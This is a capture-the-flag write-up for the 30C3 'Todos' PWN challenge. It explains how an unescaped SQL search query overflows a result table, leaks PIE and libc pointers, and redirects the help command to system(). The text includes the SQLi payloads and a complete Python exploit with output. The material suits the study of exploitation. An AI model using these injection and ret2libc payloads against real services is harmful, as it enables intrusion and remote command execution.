code hacking, zen coding

30C3 CTF – PWN 300 – Todos Write-up : SQL injection + ret2libc

$ file server
server: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x61abf52683bfa2cf645da3e96ba84f8cdf4842d2, stripped

$ checksec.sh --file server
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   server

This binary from the awesome and pwn-heavy 30C3 CTF is a todo-list manager with a telnet interface, ELF binary server and MySQL database as a storage backend.

Sample session:

$ nc -v 88.198.89.199 1234
Connection to 88.198.89.199 1234 port [tcp/*] succeeded!
Welcome to TTT (the todo tool)!

If you're new, try help

help
Commands:
help: Print this help screen
register <user> <pass>: register a new user
login <user> <pass>: Login when you have registered already.
login aXs toto
logged in...
help
Commands:
help: Print this help screen
show <num>: show a record from the last search
search <substring>: search for entries
add <content>: add an entry
add toto
Entry added.
search toto
Found 1 entries, use 'show <num>' to show them.
show 0
0: toto

We can find the queries used by the search command in the binary:

.rodata:00000000000022A0 00000047 C SELECT COUNT(*) FROM todos WHERE user = %lld AND content LIKE '%%%s%%'
.rodata:00000000000022E8 00000046 C SELECT content FROM todos WHERE user = %lld AND content LIKE '%%%s%%'

The first query is used to guess the amount of results. The second query is used to fetch the data.

Absolutely no escaping with mysql_real_escape_string() is done in the binary:

.text:0000000000001B79                 lea     rbx, user_id
.text:0000000000001B80                 mov     rsi, [rbx]
.text:0000000000001B83                 call    do_mysql_query

So we can do sql injections like:

search ' UNION ALL SELECT @@version -- #
Found 1 entries, use 'show <num>' to show them.
show 0
0: 5.5.34-0ubuntu0.13.10.1

This service is running on Ubuntu Saucy 64bit, this will be very useful later when we need to find offsets in the libc.

The result of the first query (SELECT COUNT(*) FROM todos WHERE…) is used to help with memory management. If the amount of results is lower or equal to 10, a fixed table in .data is used. Otherwise some space is allocated on the heap (malloc) and the results are stored there.

.text:0000000000001B9E                 mov     rdi, [r13+0]    ; nptr
.text:0000000000001BA2                 xor     esi, esi        ; endptr
.text:0000000000001BA4                 mov     edx, 10         ; base
.text:0000000000001BA9                 call    _strtoll
.text:0000000000001BAE                 mov     rdi, cs:result_table ; ptr
.text:0000000000001BB5                 mov     r12, rax        ; count(*)
.text:0000000000001BB8                 test    rdi, rdi
.text:0000000000001BBB                 jz      short null_result_table
.text:0000000000001BBD                 lea     rax, fixed_result_table
.text:0000000000001BC4                 cmp     rdi, rax
.text:0000000000001BC7                 jz      short null_result_table
.text:0000000000001BC9                 call    _free
.text:0000000000001BCE
.text:0000000000001BCE null_result_table:                      ; CODE XREF: do_search+5Bj
.text:0000000000001BCE                                         ; do_search+67j
.text:0000000000001BCE                 cmp     r12, 10         ; count(*)
.text:0000000000001BD2                 jg      big_result_table
.text:0000000000001BD8                 lea     rax, fixed_result_table
.text:0000000000001BDF                 mov     cs:result_table, rax

There is room for 10 results of 256 chars in the table in .data. After this table in .data we have some very interesting structure:

– The number of results (used by the show command)
– a table of records that describe how to manage the commands

Using some sql trickery we will control the result of the first query (count) to be 1 while we will actually send more than 10 results: we will overwrite past the fixed_result_table table

query = "search 9'"+ " UNION ALL SELECT 'A'"*10 + " UNION ALL SELECT concat(0x0e00000000000000) -- # \n"

0x0e00000000000000 (15) will overwrite num_results

.data:0000000000203160 result_table    dq 0                    ; DATA XREF: do_show+47r
.data:0000000000203160                                         ; do_search+4Er ...
.data:0000000000203168 fixed_result_table db 0A00h dup(0)      ; DATA XREF: do_search+5Do
.data:0000000000203168                                         ; do_search+78o
.data:0000000000203B68 num_results     dd 0                    ; DATA XREF: do_show+10r
.data:0000000000203B68                                         ; do_search+A0w ...
.data:0000000000203B6C                 align 10h
.data:0000000000203B70 help_flag       dq 3                    ; DATA XREF: sub_14DE+60o
.data:0000000000203B70                                         ; do_help+23o
.data:0000000000203B78 ; char *ptr_commands
.data:0000000000203B78 ptr_commands    dq offset aHelp         ; "help"
.data:0000000000203B80                 dq offset aSomethingWentW+18h
.data:0000000000203B88                 dq offset do_help
.data:0000000000203B90                 dq offset aHelpPrintThisH ; "help: Print this help screen"
...
.data:0000000000203C58                 dq offset aLogin        ; "login "
.data:0000000000203C60                 dq offset asc_2208      ; "^([^ ]+) ([^ ]+)$"
.data:0000000000203C68                 dq offset do_login
.data:0000000000203C70                 dq offset aLoginUserPassL ; "login <user> <pass>: Login when you hav"...

By overwriting the structure used to describe the help command, we can control the execution flow and call anything in the binary or library (libc)

Small problems here are that:
– The binary has been PIE-compiled (random base for .text segment)
– ASLR is enabled (libc base is random as well)

So we need to leak some pointers first so we can calculate the base for the binary and the libc and compute new offsets.

Let’s focus on this ptr_commands table and notice that for the login structure, the function pointer at 0x203C68 is perfectly aligned with the fixed_result table’s 11 result:

0x203168 (fixed_result_table) + 11 * 256 = 0x203C68

So “show 11” will leak the do_login pointer. We know the do_login function is at offset 0x19d0 in the binary, so the ELF base is going to be:

base = do_login – 0x19d0

Unfortunately we can only leak past the fixed_result_table as the ‘show’ command will not accept a negative index. So we need to find a way to leak the GOT table to calculate the libc base.

The help command to the rescue:

help
Commands:
help: Print this help screen
show <num>: show a record from the last search
search <substring>: search for entries
add <content>: add an entry

help will print a description of the command, this description is referenced inside our ptr_commands table:

.data:0000000000203B78 ptr_commands    dq offset aHelp           ; "help" command
.data:0000000000203B80                 dq offset aSomethingWentW+18h
.data:0000000000203B88                 dq offset do_help         ; function pointer
.data:0000000000203B90                 dq offset aHelpPrintThisH ; "help: Print this help screen"

If we change offset 0x203b90 (aHelpPrintThisH) to another location, that location will be printf. Obvious candidates are entries in GOT table:

.got.plt:0000000000203040 off_203040      dq offset setvbuf       ; DATA XREF: _setvbufr
.got.plt:0000000000203050 off_203050      dq offset read          ; DATA XREF: _readr

We will leak 2 pointers so we can calculate the distance between and verify that the distance match indeed with Ubuntu Saucy Server x86_64’s libc.

base = do_login - 0x19d0

aHelp = base + 0x21dc # "help" string
aHelp_hex = '0x%x' % unpack('<Q', pack('>Q', aHelp))[0]

aSomethingWentW = base + 0x214a # "Something went wrong", useless
aSomethingWentW_hex = '0x%x' % unpack('<Q', pack('>Q', aSomethingWentW))[0]

display_help = base + 0x17A0 # display_help function
display_help_hex = '0x%x' % unpack('<Q', pack('>Q', display_help))[0]

got_plt = base + 0x00203000
off_read_plt = got_plt + 0x050
help_txt = off_read_plt
help_txt_hex = '0x%x' % unpack('<Q', pack('>Q', help_txt))[0]

query = "search 9'"+ " UNION ALL SELECT 'B'"*10 + " UNION ALL SELECT concat(0x0e00000000000000,0x0300000000000000,"
query += aHelp_hex+","+aSomethingWentW_hex+","+display_help_hex+","+help_txt_hex+") -- # \n"

After this sql injection, the help command’s description string will be a pointer to read@plt in the GOT table. Then we can call the help command and decode the pointer from the output.

We now have read()’s location in the libc, we calculate system() location based on the fact that is this Ubuntu Saucy Server x86_64 libc:

system_plt = read_plt – 0x716be0

Next step is to overwrite again with a SQL injection the ‘help’ command structure but this time we overwrite the function pointer: typing “help cat /home/user/flag” will in fact call system(“cat /home/user/flag”).

And we are done.

Full exploit:

import telnetlib
import time
from struct import pack, unpack

def show_to_val(tn, num):
    tn.write("show "+str(num)+"\n")
    raw_data = tn.read_until("\n")[len(str(num)+':')+1:].strip() + "\x00\x00"
    return unpack('<Q', raw_data)[0]

HOST = '88.198.89.199'      # The remote host
#HOST = '62.4.23.92'        # Precise
#HOST = '62.4.19.84'        # Raring
#HOST = '62.4.23.88'         # Saucy
PORT = 1234

tn = telnetlib.Telnet(HOST, PORT)

print "[*] Login"

tn.read_until("If you're new, try help\n")
tn.write("login aXs toto\n")
tn.read_until("logged in...\n")

#time.sleep(3)

#.data:0000000000203B68 num_results     dd 0                    ; DATA XREF: do_show+10r
#.data:0000000000203B68                                         ; do_search+A0w ...
#.data:0000000000203B6C                 align 10h
#.data:0000000000203B70 help_flag       dq 3                    ; DATA XREF: sub_14DE+60o
#.data:0000000000203B70                                         ; display_help+23o
#.data:0000000000203B78 ; char *ptr_commands
#.data:0000000000203B78 ptr_commands    dq offset aHelp         ; DATA XREF: .text:000000000000144Br
#.data:0000000000203B78                                         ; sub_14DE+4Ar ...
#.data:0000000000203B78                                         ; "help"
#.data:0000000000203B80                 dq offset aSomethingWentW+18h
#.data:0000000000203B88                 dq offset display_help
#.data:0000000000203B90                 dq offset aHelpPrintThisH ; "help: Print this help screen"

#0x7fc101a9cb68:  0x0f  0x00  0x00  0x00  0x00  0x00  0x00  0x00 num_results
#0x7fc101a9cb70:  0x03  0x00  0x00  0x00  0x00  0x00  0x00  0x00 help_flags
#0x7fc101a9cb78:  0xdc  0xb1  0x89  0x01  0xc1  0x7f  0x00  0x00 offset aHelp
#0x7fc101a9cb80:  0x62  0xb1  0x89  0x01  0xc1  0x7f  0x00  0x00 offset aSomethingWentW
#0x7fc101a9cb88:  0xa0  0xa7  0x89  0x01  0xc1  0x7f  0x00  0x00 offset display_help

print "\n[*] Prepare for infoleak with SQLi"

query = "search 9'"+ " UNION ALL SELECT 'A'"*10 + " UNION ALL SELECT concat(0x0e00000000000000) -- # \n"

tn.write(query)
tn.read_until("\n")

print "\n[*] Infoleak login function pointer"

do_login = show_to_val(tn, 11)
print "do_login=", hex(do_login)

print "\n[*] Calculate ELF base and pointers"

base = do_login - 0x19d0
print "ELF base=", hex(base)

aHelp = base + 0x21dc # "help" string
aHelp_hex = '0x%x' % unpack('<Q', pack('>Q', aHelp))[0]
print "help string offset=", hex(aHelp)

aSomethingWentW = base + 0x214a # "Something went wrong", useless
aSomethingWentW_hex = '0x%x' % unpack('<Q', pack('>Q', aSomethingWentW))[0]
print "Something went wrong string offset=", hex(aSomethingWentW)

display_help = base + 0x17A0 # display_help function
display_help_hex = '0x%x' % unpack('<Q', pack('>Q', display_help))[0]
print "help function offset=", hex(display_help)

got_plt = base + 0x00203000
print "GOT PLT base=", hex(got_plt)

off_read_plt = got_plt + 0x050
print "read@plt base=", hex(off_read_plt)

print "\n[*] Infoleak read@plt"

# We replace the pointer to the help command to the offset we want to leak

help_txt = off_read_plt
help_txt_hex = '0x%x' % unpack('<Q', pack('>Q', help_txt))[0]
print "help_txt=", hex(help_txt)

query = "search 9'"+ " UNION ALL SELECT 'B'"*10 + " UNION ALL SELECT concat(0x0e00000000000000,0x0300000000000000,"
query += aHelp_hex+","+aSomethingWentW_hex+","+display_help_hex+","+help_txt_hex+") -- # \n"

tn.write(query)
tn.read_until("\n")

s = tn.get_socket()

tn.write("help\n")

s.recv(len("Commands:\n"))
raw = s.recv(6)

tn.read_until("\n")
tn.read_until("\n")

read_plt = unpack('<Q', raw + (8-len(raw))*"\x00")[0]
print "read_plt=", hex(read_plt)

print "\n[*] Infoleak setvbuf@plt"

off_setvbuf_plt = got_plt + 0x040

help_txt = off_setvbuf_plt
help_txt_hex = '0x%x' % unpack('<Q', pack('>Q', help_txt))[0]
print "help_txt=", hex(help_txt)

tn.read_until("\n")
tn.read_until("\n")

query = "search 9'"+ " UNION ALL SELECT 'B'"*10 + " UNION ALL SELECT concat(0x0e00000000000000,0x0300000000000000,"
query += aHelp_hex+","+aSomethingWentW_hex+","+display_help_hex+","+help_txt_hex+") -- # \n"

tn.write(query)
tn.read_until("\n")

s = tn.get_socket()

tn.write("help\n")

print "help=",repr(s.recv(len("Commands:\n")))
raw = s.recv(6)

tn.read_until("\n")
tn.read_until("\n")

setvbuf_plt = unpack('<Q', raw + (8-len(raw))*"\x00")[0]
print "setvbuf_plt=", hex(setvbuf_plt)

print "\n[*] Calculate distance between read and setvbuf in LIBC to find libc version"

print "- Precise: 0x753e0L"
print "- Raring: 0x7a3b0L"
print "- Saucy: 0x7b010L"

check_plt = read_plt - setvbuf_plt
print "distance PLT=", hex(check_plt)

print "\n[*] Calculate system libc offset"

# Precise
#system_plt = read_plt - 0xa1240
# Saucy
system_plt = read_plt - 0x716be0
print "system libc=", hex(system_plt)

print "\n[*] Overwrite help command pointer to system"

display_help = system_plt
display_help_hex = '0x%x' % unpack('<Q', pack('>Q', display_help))[0]

query = "search 9'"+ " UNION ALL SELECT 'B'"*10 + " UNION ALL SELECT concat(0x0e00000000000000,0x0300000000000000,"
query += aHelp_hex+","+aSomethingWentW_hex+","+display_help_hex+","+help_txt_hex+") -- # \n"

tn.write(query)
tn.read_until("\n")
tn.read_until("\n")
tn.read_until("\n")

print "\n[*] PWN"

tn.write("help cat /home/user/flag\n")

print tn.read_until("\n")

Output:

[*] Login

[*] Prepare for infoleak with SQLi

[*] Infoleak login function pointer
do_login= 0x7f86fa4d19d0L

[*] Calculate ELF base and pointers
ELF base= 0x7f86fa4d0000L
help string offset= 0x7f86fa4d21dcL
Something went wrong string offset= 0x7f86fa4d214aL
help function offset= 0x7f86fa4d17a0L
GOT PLT base= 0x7f86fa6d3000L
read@plt base= 0x7f86fa6d3050L

[*] Infoleak read@plt
help_txt= 0x7f86fa6d3050L
read_plt= 0x7f86f96bb690L

[*] Infoleak setvbuf@plt
help_txt= 0x7f86fa6d3040L
help= 'Commands:\n'
setvbuf_plt= 0x7f86f9640680L

[*] Calculate distance between read and setvbuf in LIBC to find libc version
- Precise: 0x753e0L
- Raring: 0x7a3b0L
- Saucy: 0x7b010L
distance PLT= 0x7b010L

[*] Calculate system libc offset
system libc= 0x7f86f8fa4ab0L

[*] Overwrite help command pointer to system

[*] PWN
30C3_6627df0c708626cdaa56be9c4474fe61
Share